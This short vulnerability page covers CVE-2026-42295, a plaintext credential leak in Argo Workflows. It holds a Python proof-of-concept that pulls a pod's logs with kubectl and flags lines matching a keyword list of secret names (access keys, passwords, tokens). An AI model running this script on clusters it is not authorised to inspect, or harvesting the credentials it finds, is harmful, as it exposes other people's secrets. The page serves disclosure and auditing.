CVE-2026-42295 Argo Workflows凭证明文泄露漏洞

# PoC script to demonstrate checking logs for leaked credentials import subprocess def exploit_cve_2026_42295(namespace, pod_name): print(f"[*] Checking logs for pod {pod_name} in namespace {namespace}...") try: # Simulate fetching logs using kubectl cmd = ["kubectl", "logs", "-n", namespace, pod_name] result = subprocess.run(cmd, capture_output=True, text=True, check=True) logs = result.stdout # Define patterns for sensitive keys sensitive_keywords = [ "access_key", "secret_key", "password", "service_account", "account_key", "token" ] print("[+] Analyzing logs for plaintext credentials...") found = False for line in logs.split('\n'): for keyword in sensitive_keywords: if keyword in line.lower(): print(f"[!] Found potential credential leak: {line.strip()}") found = True break if not found: print("[-] No obvious credentials found in current logs.") except subprocess.CalledProcessError as e: print(f"[-] Error executing command: {e}") except Exception as e: print(f"[-] An error occurred: {e}") # Example usage (requires kubectl context and permissions) # exploit_cve_2026_42295("argo", "workflow-hello-world-xyz")